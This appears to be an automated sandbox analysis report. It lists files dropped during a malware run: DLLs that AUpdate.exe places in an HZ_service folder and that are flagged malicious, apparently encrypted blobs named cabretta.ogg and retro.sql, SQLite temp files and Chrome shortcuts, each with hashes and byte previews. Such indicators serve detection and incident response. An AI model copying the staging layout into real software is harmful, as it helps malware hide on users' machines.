SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC36.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC47.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC57.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\HZ_service\CDLMSO.DLL

Download File

Process:	C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	531800
Entropy (8bit):	6.279775188993657
Encrypted:	false
SSDEEP:	6144:9/gvJN9iufBkys8jrPS/eZ8rhwIWv8csy/+BK9zptTJhCAhCq1vOugtIxlJtWxC8:efxsVQ8dwIWEcsSxDgEUcAQf1c
MD5:	F2BCF645C733B214C5B4D7C277FB29D1
SHA1:	C56B38C62480E993416A1C394841D0C6B5F4C75F
SHA-256:	6A2AB96C24100A9FC6BFA133C0BFACB44FC91FBE99B66E72733587196FD86D42
SHA-512:	64284E0A18CBDE9A3E2736BFB3AF5D614ED72128E861E4D89A04972CCFF2434A50472E604D07BF0A33CFAA0C85BDBB799F529A926CED83F0C2865D394645C39D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Y..L8.L8.L8.k...@8.k...O8.RjY.K8.E@N.O8..wK.M8.E@^.A8.E@H.N8.L8..9.E@I.M8.E@Y.W8.E@O.M8.E@L.M8.RichL8.........................PE..d...z..K.........." .........0.......:.......................................@......{.....@.................................................H....................w......X.... ..........8....................................................}..@....................text...]........................... ..`.rdata..HY.......Z..................@..@.data...P6...P...0...8..............@....pdata...w.......x...h..............@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\HZ_service\MSOCF.DLL

Download File

Process:	C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	221048
Entropy (8bit):	5.9929993067336484
Encrypted:	false
SSDEEP:	3072:xv+vUY/htBF9AybG18qx5xVOyI5dtsJBaHuJrqOg7TCv1PGOZ4tWQBfT/Dr95d:xWsY/dGpnxGEquQOg7OvBGOZJmlL
MD5:	600171A5C7862654CBCD5DFF07ADAE9F
SHA1:	A9F91740C9D8FDE11385D1C5B6E8515251861015
SHA-256:	1C5D1CB49A9BBBAB8E4BD9A1E39546BDE76C47A4ED654D682838939EBF37D826
SHA-512:	48135F140D9C9E6C66B1A67760E0A6CA22E1D7E61E77DB811E25C9882CC07EBEAF7631149E108CC8073D88D3BB9F9B5ADDCFCCAE6D8CD908715A6122E7583B81
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q45h5U[;5U[;5U[;+..;6U[;<-.;7U[;...;4U[;<-.;8U[;<-.;7U[;..6;6U[;.. ;0U[;5UZ;,T[;<-.;4U[;<-.;.U[;<-.;4U[;<-.;4U[;Rich5U[;........PE..d...o..K.........." .........h......................................................T.....@..........................................n..0.......P....p.......0..P1...H..x.......<...D...8...............................................x............................text............................... ..`.rdata..4...........................@..@.data...@,.......&..................@....pdata..P1...0...2..................@..@.rsrc........p.......2..............@..@.reloc..<............:..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\HZ_service\OISAPP.DLL

Download File

Process:	C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1530224
Entropy (8bit):	6.064461398583844
Encrypted:	false
SSDEEP:	12288:kuNQzstd8Hj7O6O6QEx4P1S836BZY/zdx7S95I72s1dRqi9t1Kl3XKFxE26rUyuL:kuNQ6d838ExJE7XbI36xE2CU2pZQ
MD5:	D9D53415B3E31A842288910FC94676AD
SHA1:	D02F2A6240AB4B124A6011D137BAA53B431A5B86
SHA-256:	C3F04BFBE47FF667714AC2D487E92179528E7D52C45582C52763596BC3A723D8
SHA-512:	6D22F5CF505927F398E6005A1E19FCE1B1835B4E918B4BB02AC9CE2AC7942EB21047B468F2C2258A92601060B8665961F568FBF89A6EFD7D9E14D4F72A57B312
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}..............................................~...............h.....................................................Rich....................PE..d....6.K.........." .....j.......... .....................................................@.........................................$Y......\|x.......P.......... ....B..p....`...(...w..8...............................................H....g.......................text...=h.......j.................. ..`.rdata...x.......z...n..............@..@.data...p........r..................@....pdata.. ............Z..............@..@.rsrc........P......................@..@.reloc...(...`...*..................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\HZ_service\OISGRAPH.DLL

Download File

Process:	C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	368504
Entropy (8bit):	6.551999289937223
Encrypted:	false
SSDEEP:	6144:Cp7Pz/VT+T8IO4Aw67u+rFDqaKuXbilxRP4fnOJYPJi/7eKNYUAl/UOyNx:WBIz76hFDG2Wxae8Kdi/mNx
MD5:	88E0A6A9EFCEF124D24EC5F11268B841
SHA1:	F6A1C6A9B3D31224B9B3341A0DF259139F86F41B
SHA-256:	EC0CC0BF0A2D2E3ED398B4877A5A7CCF502EDB8DC63B84B0CA3FC475911D35FD
SHA-512:	598DB0E4165441A17BEA67EDDFAC44320DC9833DAD8A36EA4060FAEB4EE49A76D4AA0A1A64536870BF92FDBA9A56AA0F4CE06DA074E5A4EE0B8342931B61D91F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........p_..#_..#_..#A.F#X..#V.Q#]..#.T#^..#V.A#R..#V.W#]..#x2.#]..#x2.#T..#_..#L..#V.V#^..#V.F#j..#V.P#^..#V.S#^..#Rich_..#........PE..d....6.K.........." .....~...........@....................................................@.............................................SF..`:..x........'...@...<......x...............8....................................................6..`....................text...5}.......~.................. ..`.rdata...t.......v..................@..@.data...."..........................@....pdata...<...@...>..................@..@.rsrc....'.......(...R..............@..@.reloc...............z..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\HZ_service\cabretta.ogg

Download File

Process:	C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe
File Type:	data
Category:	dropped
Size (bytes):	1261641
Entropy (8bit):	7.9458592442601015
Encrypted:	false
SSDEEP:	24576:IVvqKvSbbOHF4IlTNwjY67XX0FRlDaXQynW9ie4ZMiH9C8r6JkdFe:pkF7Tw/ulRyDmFZ
MD5:	714372138B0275FA7CAD30CF08BBB88E
SHA1:	B9C86FCECEC04C8490CBCA3AF9E325E814A44A7C
SHA-256:	A6303B0EFA8A8584F2748D0A6164628917CEF367D38FD9AB5B1B3D75BF847F87
SHA-512:	396023F2C9BEF253761D86D99E12BC6730C61ADFE8773C3C3C8749BDDDFB44A3DEA607996CB3ED6E93F571022482FBC56F4C66386AA602C5A95DBE1F21D9261D
Malicious:	false
Reputation:	low
Preview:	.t.VKm.Q.p.K...Nyn.YW...m.w.^I.[._bVSklr.aDUZMB.tj...LuFZQ.oQ..Zw.RSk.....vA.o.gFPv....O.U.EYs[..fs..D`........O.[UkYdF.lEU.v.HFDgi.Z.I...a].Sb.f.x..t......RdEt..p..X.Z._.k.[pX....D..q.fMx`[.a...k..q^.vt..[..P.....pQK..pT....RdENt.Gk.b..d..O^w.....e..O.._.uO..Es....m..AG.X...A.CGi..b.vElxt.uHj.Y^......K..OuR.X..w.fxCvuSW..].MoD....A.ZC_akNq..MKG.....ARS....pQ...w....gm....pPRZBL..Tn.Xq..P..BheF.`.Y...\O.\.......d..U..n...ZY.f.Dn..d.....l.vr.af.Bn....DeT.\i\W.IA..c..I..u.Oe...qQ...R....t.n.hP.K.C[_I.P...F.DI...yO....X.....y..YYuL.N......M...D.T..Jw.u.u.Ojk.qCw..L...s.L.S.yCvZ`kTx.Au.B.....R..y.tOmgR.w.v.G.S....W.S.GBrL.de].EI...J.....f..iRKW...Jl..u..fYfj.O.....n.C.L..].AfIHHF.X.N.._.D.aSTE.....sTc.HO.N_t.C.p.^Wc..n.a.V`o^q.c....v...MO.....V.iXn.U...PQ.IdqEjAJ...pt.mh.o.vH`CiT..IX..byw...nL.PUPyE...n.P....]D.t..E_..u...bB..ujI.....ZR..HB\.l...JDFb....g.....a....EQ..ov.BsJ.I...R.....v_R.....ri.Cao.mi....dH...\M....M..AWc_...[b].`Bi..Bay...M.JEP.xXt.]J.f...tH..yLa...mE_L..EheD..V..wBZtI.u

C:\Users\user\AppData\Roaming\HZ_service\msvcr90.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	642176
Entropy (8bit):	6.613198750807631
Encrypted:	false
SSDEEP:	12288:ED6NCL00fQwUX9iOv2ME0cbejlzKaswsmqy7oh41oU:E2CLFffUNiK20yejFsZmqy7ohO3
MD5:	ECBBED2F44AFB22BA1F9EF8603C261B5
SHA1:	98C1C3E0960B3653B772E71A5EA0B63362EBDBD3
SHA-256:	75613E14C26C84A21763CD315BDB3129C997F1C28DFBC3932379970901A22820
SHA-512:	BF76CB53F81278F65E2E4E3A8EC6E7B2246FE2A53E43DAD49E84B567F73B7090D0EB915EA9C183DA38B4A0AD03FF40CE4CCA63B8609F467E40C4A3CACC394CBB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........g.u...&...&...&...&...&...&[..&.~x&...&.~n&...&.~.&G..&.~i&...&.~o&...&.~j&...&Rich...&........PE..d.....i[.........." .....H...........&........bx.............................0.......w....@.........................................`8..Cx..,'..(............0..$E........... .......e...............................................`.. ............................text....F.......H.................. ..`.rdata...P...`...R...L..............@..@.data....d.......<..................@....pdata..$E...0...F..................@..@text.....'.......(... ..............@.. data.....Y.......Z...H..............@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\HZ_service\retro.sql

Download File

Process:	C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe
File Type:	data
Category:	dropped
Size (bytes):	47531
Entropy (8bit):	4.838536917319029
Encrypted:	false
SSDEEP:	768:JQbQpF8oGFNEsXDLPo/8vO+ni4oO2KZ+zNZV6g1GpdgTj9HVXt+jcxbxzP+HCY9f:9pFd27oKOVO2KWZVLVHltpfP+D
MD5:	1A87DB16966BE85D66139E49A8A3902C
SHA1:	087E9EF983FC573EC635A6886899F78130B7371F
SHA-256:	88B65E0902439031FB09A6C16CA552D2E6237105AA42FF74921C416858BAA86A
SHA-512:	BBFFEC4627DEC546AD8B10EB3672B646DE4E0D9958FBA6719DA5918B0B65B38E43B3C7D3B9FB7FD6778332EFD477399DCC72E44EE7E94C9B9D192759A2B2A41B
Malicious:	false
Reputation:	low
Preview:	ViBe._....aPh.Rw[xOn....F..EZ]A.kot...h..w....EC.h.gYwj..mq.g.G.j..i..pu..nCw..x.e..VR....w.K....VBgHo.ciBZkxadd..Z^T..B..wg.._QA....]..v...nsUC..].rq.R.H....XODr.ccE.L.er`P.Z_Oy.K..CC.v..IVX....J.l...K.Gv..IY[xIGGh..VV.g...A...R.R.rZ...Vh.x.j`.....PP...GaM.Uc....Od..B.\K..Zd...R[Q..VM....u...t.....d.......JT...L...v....je.BQ.m.......t..m.sf..el.W...._y..w..J..pk.i.b.O..epaTR..x.\....T....vD.vT.Y.BM^.J.J..P.g.N....l.pDNlSJO..x.T`....rn.[D....nCo.r.s..jm.mQa\..pMJ.._N.q..FyS.Gw.dKkC..p.NPX.Ij.`.[.V.XIG.QnO[iS..acM..L...cH...O...Pq...l.j.`.qG..bi.n.fI..^.T.n........a^QJW.ge...B.jfg.Bvsd.Z...]..C....APH.TPkU`...[.q..yMq...M...C.po..[T....U.nwB.g...A.Fpb.v.IV....gU.o...._GChx..vZPR.SoB.qvW[r.cG..\\Z..OTh.x..Vh.n.......C.x.P..UMdp[.gE..YVO.......s._.Djr.I..I.....M.\_...J.es.ajQX....A.......oo.a..I.JWC.a....ti..w.t....\........PR.....ZW.TSeKv.S..gG....IM.....sHAt..UCr.\db.R....C]gMVVF..ECHa.Mm...t._X..LuN.Chi.g...X.qkjaXA...^....Lu..e.vm.....ofo....h........XewiM.i.JEsuXw...E...Jq...._.b.c..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6220
Entropy (8bit):	3.7164955135157896
Encrypted:	false
SSDEEP:	96:Jk8CAeCG3gkvhkvCCt7xwtbRHcxwtPHB4:Jh1Ac7xlxw4
MD5:	1F91CF8FC4DC28B15E37E28655AA83A4
SHA1:	121E9DAF741B602C6361586D19052B4F2E215B9B
SHA-256:	B1AB0FA61D07DEE32B105BECE75ED8DEF184986C36B1C05D1141B5B3F02725C0
SHA-512:	3A091E1C4F5D0842D64A74A8016ACB2EA6731B6BFAD26863DBB1F5864ACC74B9840876FABE32D33BBC63E41E40EB3DD690FE33D9922B5CC75B659AA56969767D
Malicious:	false
Reputation:	low
Preview:	...................................FL..................F.".. ......{4.....JM...z.:{.............................:..DG..Yr?.D..U..k0.&...&.........{4...i..0M...Q..JM.......t...CFSF..1.....FW.H..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......FW.H[Z................................A.p.p.D.a.t.a...B.V.1.....[Z....Roaming.@......FW.H[Z..............................'.R.o.a.m.i.n.g.....\.1.....[Z....MICROS~1..D......FW.H[Z..............................(.M.i.c.r.o.s.o.f.t.....V.1.....GX*w..Windows.@......FW.H[Z............................a...W.i.n.d.o.w.s.......1.....FW.H..STARTM~1..n......FW.H[Z......................D.....R=..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....[Z....Programs..j......FW.H[Z......................@.....[@ .P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......FW.H[Z............................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......FW.H[Z .....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KHJE8WGDKYNTD7TXZNYW.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6220
Entropy (8bit):	3.7164955135157896
Encrypted:	false
SSDEEP:	96:Jk8CAeCG3gkvhkvCCt7xwtbRHcxwtPHB4:Jh1Ac7xlxw4
MD5:	1F91CF8FC4DC28B15E37E28655AA83A4
SHA1:	121E9DAF741B602C6361586D19052B4F2E215B9B
SHA-256:	B1AB0FA61D07DEE32B105BECE75ED8DEF184986C36B1C05D1141B5B3F02725C0
SHA-512:	3A091E1C4F5D0842D64A74A8016ACB2EA6731B6BFAD26863DBB1F5864ACC74B9840876FABE32D33BBC63E41E40EB3DD690FE33D9922B5CC75B659AA56969767D
Malicious:	false
Reputation:	low
Preview:	...................................FL..................F.".. ......{4.....JM...z.:{.............................:..DG..Yr?.D..U..k0.&...&.........{4...i..0M...Q..JM.......t...CFSF..1.....FW.H..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......FW.H[Z................................A.p.p.D.a.t.a...B.V.1.....[Z....Roaming.@......FW.H[Z..............................'.R.o.a.m.i.n.g.....\.1.....[Z....MICROS~1..D......FW.H[Z..............................(.M.i.c.r.o.s.o.f.t.....V.1.....GX*w..Windows.@......FW.H[Z............................a...W.i.n.d.o.w.s.......1.....FW.H..STARTM~1..n......FW.H[Z......................D.....R=..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....[Z....Programs..j......FW.H[Z......................@.....[@ .P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......FW.H[Z............................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......FW.H[Z .....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Feb 27 18:24:26 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.991590185626283
Encrypted:	false
SSDEEP:	48:8LOdrTzv7H3eidAKZdA1FehwiZUklqehSy+3:8a3w1y
MD5:	1C29C0DB6BBC8F760D143FED463A6E1F
SHA1:	D77E4075855C836B1285A06F294F3DDB5F711F2C
SHA-256:	1248D5820B5B4C069640F8FCB6750BA07F1AB7884B746E399C485BB6A4377F47
SHA-512:	25A42BE6BE651B3C250969568FF07F66F79091E8F54F1A9248DD776EADB5192DE6F967CDC90181D14DF4A0BC1A3EDC727E68B0E773926EEB7480A079F53D6F12
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......6M...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I[Z......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V[Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V[Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V[Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V[Z.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........% .w.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Feb 27 18:24:26 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.009118477348473
Encrypted:	false
SSDEEP:	48:83OdrTzv7H3eidAKZdA1seh/iZUkAQkqehly+2:8+3m9Q4y
MD5:	B914DC43AF2A1CCF2C8F5ECFA9AC536C
SHA1:	63CE382D8B77D7E319A5CBB4ECDFAD9E17ACE6A7
SHA-256:	A2EE28868C7041A3FF880D51853F3CC6AA01702F19BF52915B6D43B53E7F06F9
SHA-512:	A6CCEB97A5CC70F030F11FD273EACC28B218C1A9595A5C790C810A9E8AF8D01A8574EFE26B6D0498C7E22F43CABE8C4C5BD4F11FAF2401499BB81C8849B0BAFD
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......6M...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I[Z......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V[Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V[Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V[Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V[Z.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........% .w.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.013037945368589
Encrypted:	false
SSDEEP:	48:8wOdrTzvAH3eidAKZdA14meh7sFiZUkmgqeh7sry+BX:8Z3Dnpy
MD5:	9EABCE6A8DC69E28520FD5897CAEA0BB
SHA1:	959D06C5093BCCDAA2441CB75241F625AA430381
SHA-256:	09B730F4550E3D87D42958209EBC3C59890565245381E1D5559B4DEF667B63F4
SHA-512:	D33FBBFDB151CEFD66EC2AC8B2720DA77AFB3700D3CF5A7273B79BB9FF377E248EF98518E760731537DD223B4A32400A71B28FD4A1A18133C7158F6716E6257C
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I[Z......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V[Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V[Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V[Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........% .w.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Feb 27 18:24:26 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.004554266433862
Encrypted:	false
SSDEEP:	48:8wOdrTzv7H3eidAKZdA1TehDiZUkwqehRy+R:8Z39Ty
MD5:	8CE95F8DF8DD10902EFD1DF2CEE5D310
SHA1:	696CF6DB50D5C94FC4540C1298DA1237BBF2B855
SHA-256:	FB4FA44D44558FD37B70CC39710C0B03F6BDB55031297AAE55AACA0516B46123
SHA-512:	C9945A7A64CB221F797E3366DBCD76EC305BBC6EB7784839E817A7A9C031B6E3905CFFCFD4142217EDFFBC5C33322DDC3901257ED2DCCEDCFDD2F9474F7139AF
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....6..6M...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I[Z......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V[Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V[Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V[Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V[Z.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........% .w.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

